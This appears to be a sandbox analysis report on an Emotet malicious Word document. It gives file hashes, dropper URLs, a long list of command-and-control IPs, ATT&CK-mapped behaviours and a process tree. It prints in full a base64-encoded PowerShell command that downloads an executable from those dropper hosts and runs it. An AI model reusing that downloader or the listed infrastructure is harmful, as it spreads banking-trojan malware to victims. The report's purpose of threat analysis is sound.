emotet | 7bfdacfd5c4831191ef91adbe7a80ce6284b5398daf07618bfba1af4838ddc20

General

Target
DOC_VPV_070120_HTY_072320.doc
Size 173KB
Sample200724-h7f7fg8ap2
SHA256 7bfdacfd5c4831191ef91adbe7a80ce6284b5398daf07618bfba1af4838ddc20
MD5 789288b6ebf88de7b3518c260e915fa5
SHA1 c05250d1e70803a46cb24cca89c8aab9d0c02d17
SHA512 65e60739f2d27e665c3f04dd9ac1230f3f39c2ad19dd07c74c36671ff6cd67f5b8320dfaad7f4e67970c2147b69140480ed63281a10ea60be1af14f3aafab85e
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://haoqunkong.com/bn/s9w4tgcjl_f6669ugu_w4bj/
exe.dropper
https://www.techtravel.events/informationl/8lsjhrl6nnkwgyzsudzam_h3wng_a6v5/
exe.dropper
http://digiwebmarketing.com/wp-admin/72t0jjhmv7takwvisfnz_eejvf_h6v2ix/
exe.dropper
http://holfve.se/images/1ckw5mj49w_2k11px_d/
exe.dropper
http://www.cfm.nl/_backup/yfhrmh6u0heidnwruwha2t4mjz6p_yxhyu390i6_q93hkh3ddm/

Extracted

Family

emotet

C2

94.49.254.194:80
212.51.142.238:8080
91.231.166.124:8080
162.241.92.219:8080
79.98.24.39:8080
109.117.53.230:443
78.189.165.52:8080
113.160.130.116:8443
121.124.124.40:7080
101.187.97.173:80
168.235.67.138:7080
104.131.44.150:8080
5.39.91.110:7080
139.59.60.244:8080
81.2.235.111:8080
116.203.32.252:8080
61.19.246.238:443
176.111.60.55:8080
190.55.181.54:443
108.48.41.69:80
203.153.216.189:7080
103.86.49.11:8080
104.236.246.93:8080
75.139.38.211:80
169.239.182.217:8080
62.75.141.82:80
93.156.165.186:80
73.11.153.178:8080
157.245.99.39:8080
41.60.200.34:80
50.116.86.205:8080
31.31.77.83:443
209.182.216.177:443
62.138.26.28:8080
95.213.236.64:8080
95.179.229.244:8080
209.141.54.221:8080
91.211.88.52:7080
173.91.22.41:80
222.214.218.37:4143
37.187.72.193:8080
137.59.187.107:8080
139.130.242.43:80
46.105.131.87:80
87.106.139.101:8080
200.55.243.138:8080
5.196.74.210:8080
79.7.158.208:80
185.94.252.104:443
104.131.11.150:443
37.139.21.175:8080
190.108.228.62:443
24.1.189.87:8080
91.205.215.66:443
186.208.123.210:443
108.26.231.214:80
201.173.217.124:443
110.145.77.103:80
190.160.53.126:80
162.154.38.103:80
78.24.219.147:8080
210.165.156.91:80
109.74.5.95:8080
95.9.185.228:443
93.51.50.171:8080
200.41.121.90:80
46.105.131.79:8080
124.45.106.173:443
74.208.45.104:8080
153.126.210.205:7080
87.106.136.232:8080
190.144.18.198:80

rsa_pubkey.plain

Signatures

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3068	WINWORD.EXE
3068	WINWORD.EXE
3068	WINWORD.EXE
3068	WINWORD.EXE
3068	WINWORD.EXE
3068	WINWORD.EXE
3068	WINWORD.EXE
3068	WINWORD.EXE
3068	WINWORD.EXE
1424	337.exe
1424	337.exe
1796	rasplap.exe
1796	rasplap.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2108	powersheLL.exe

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Blacklisted process makes network request 4 IoCs

flow	pid	Process
6	2108	powersheLL.exe
9	2108	powersheLL.exe
13	2108	powersheLL.exe
21	2108	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3068	WINWORD.EXE
3068	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2108	3360	powersheLL.exe	67

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2108	powersheLL.exe
2108	powersheLL.exe
2108	powersheLL.exe
1796	rasplap.exe
1796	rasplap.exe
1796	rasplap.exe
1796	rasplap.exe
1796	rasplap.exe
1796	rasplap.exe

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1424-7-0x0000000000730000-0x000000000073C000-memory.dmp	emotet
behavioral2/memory/1796-10-0x0000000002020000-0x000000000202C000-memory.dmp	emotet

Executes dropped EXE 2 IoCs

pid	Process
1424	337.exe
1796	rasplap.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1424 wrote to memory of 1796	1424	337.exe	76
PID 1424 wrote to memory of 1796	1424	337.exe	76
PID 1424 wrote to memory of 1796	1424	337.exe	76

Suspicious behavior: EmotetMutantsSpam 1 IoCs

pid	Process
1796	rasplap.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Windows.Devices.HumanInterfaceDevice\rasplap.exe	337.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DOC_VPV_070120_HTY_072320.doc" /o ""
1⤵
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
PID:3068

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABsAGkAZQBjAGgAcgBvAHUAaAB3AHUAdwA9ACcAdgB1AGEAYwBkAG8AdQB2AGMAaQBvAHgAaABhAG8AbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAHUAUgBpAFQAeQBgAFAAUgBPAGAAVABvAEMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABkAGUAaQBjAGgAYgBlAHUAZAByAGUAaQByACAAPQAgACcAMwAzADcAJwA7ACQAcQB1AG8AYQBkAGcAbwBpAGoAdgBlAHUAbQA9ACcAZAB1AHUAdgBtAG8AZQB6AGgAYQBpAHQAZwBvAGgAJwA7ACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGQAZQBpAGMAaABiAGUAdQBkAHIAZQBpAHIAKwAnAC4AZQB4AGUAJwA7ACQAcwBpAGUAbgB0AGUAZQBkAD0AJwBxAHUAYQBpAG4AcQB1AGEAYwBoAGwAbwBhAHoAJwA7ACQAcgBlAHUAcwB0AGgAbwBhAHMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AdwBlAEIAYwBsAEkAZQBuAFQAOwAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQA9ACcAaAB0AHQAcABzADoALwAvAGgAYQBvAHEAdQBuAGsAbwBuAGcALgBjAG8AbQAvAGIAbgAvAHMAOQB3ADQAdABnAGMAagBsAF8AZgA2ADYANgA5AHUAZwB1AF8AdwA0AGIAagAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AdABlAGMAaAB0AHIAYQB2AGUAbAAuAGUAdgBlAG4AdABzAC8AaQBuAGYAbwByAG0AYQB0AGkAbwBuAGwALwA4AGwAcwBqAGgAcgBsADYAbgBuAGsAdwBnAHkAegBzAHUAZAB6AGEAbQBfAGgAMwB3AG4AZwBfAGEANgB2ADUALwAqAGgAdAB0AHAAOgAvAC8AZABpAGcAaQB3AGUAYgBtAGEAcgBrAGUAdABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANwAyAHQAMABqAGoAaABtAHYANwB0AGEAawB3AHYAaQBzAGYAbgB6AF8AZQBlAGoAdgBmAF8AaAA2AHYAMgBpAHgALwAqAGgAdAB0AHAAOgAvAC8AaABvAGwAZgB2AGUALgBzAGUALwBpAG0AYQBnAGUAcwAvADEAYwBrAHcANQBtAGoANAA5AHcAXwAyAGsAMQAxAHAAeABfAGQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAGYAbQAuAG4AbAAvAF8AYgBhAGMAawB1AHAALwB5AGYAaAByAG0AaAA2AHUAMABoAGUAaQBkAG4AdwByAHUAdwBoAGEAMgB0ADQAbQBqAHoANgBwAF8AeQB4AGgAeQB1ADMAOQAwAGkANgBfAHEAOQAzAGgAawBoADMAZABkAG0ALwAnAC4AIgBzAGAAUABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAHMAZQBjAGMAaQBlAHIAZABlAGUAdABoAD0AJwBkAHUAdQB6AHkAZQBhAHcAcAB1AGEAcQB1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABnAGUAZQByAHMAaQBlAGIAIABpAG4AIAAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQApAHsAdAByAHkAewAkAHIAZQB1AHMAdABoAG8AYQBzAC4AIgBkAE8AVwBOAGAAbABvAEEAYABkAGYAaQBgAEwAZQAiACgAJABnAGUAZQByAHMAaQBlAGIALAAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAYgB1AGgAeABlAHUAaAA9ACcAZABvAGUAeQBkAGUAaQBkAHEAdQBhAGkAagBsAGUAdQBjACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQAuACIAbABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADQANwA1ADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQBUAGUAIgAoACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAcQB1AG8AbwBkAHQAZQBlAGgAPQAnAGoAaQBhAGYAcgB1AHUAegBsAGEAbwBsAHQAaABvAGkAYwAnADsAYgByAGUAYQBrADsAJABjAGgAaQBnAGMAaABpAGUAbgB0AGUAaQBxAHUAPQAnAHkAbwBvAHcAdgBlAGkAaABuAGkAZQBqACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHQAbwBpAHoAbAB1AHUAbABmAGkAZQByAD0AJwBmAG8AcQB1AGwAZQB2AGMAYQBvAGoAJwA=
1⤵
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:2108

C:\Users\Admin\337.exe
C:\Users\Admin\337.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
PID:1424
- C:\Windows\SysWOW64\Windows.Devices.HumanInterfaceDevice\rasplap.exe
  "C:\Windows\SysWOW64\Windows.Devices.HumanInterfaceDevice\rasplap.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Suspicious behavior: EnumeratesProcesses
  - Executes dropped EXE
  - Suspicious behavior: EmotetMutantsSpam
  PID:1796

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1424-7-0x0000000000730000-0x000000000073C000-memory.dmp

Download

memory/1796-10-0x0000000002020000-0x000000000202C000-memory.dmp

Download

memory/1796-11-0x0000000000400000-0x0000000000496000-memory.dmp

Download

memory/3068-0-0x000001B989CA9000-0x000001B989CAA000-memory.dmp

Download

memory/3068-1-0x000001B989C91000-0x000001B989CA9000-memory.dmp

Download

memory/3068-2-0x000001B989C05000-0x000001B989C0E000-memory.dmp

Download

memory/3068-3-0x000001B98E3DC000-0x000001B98E3E5000-memory.dmp

Download

memory/3068-4-0x000001B98E3DC000-0x000001B98E3E5000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads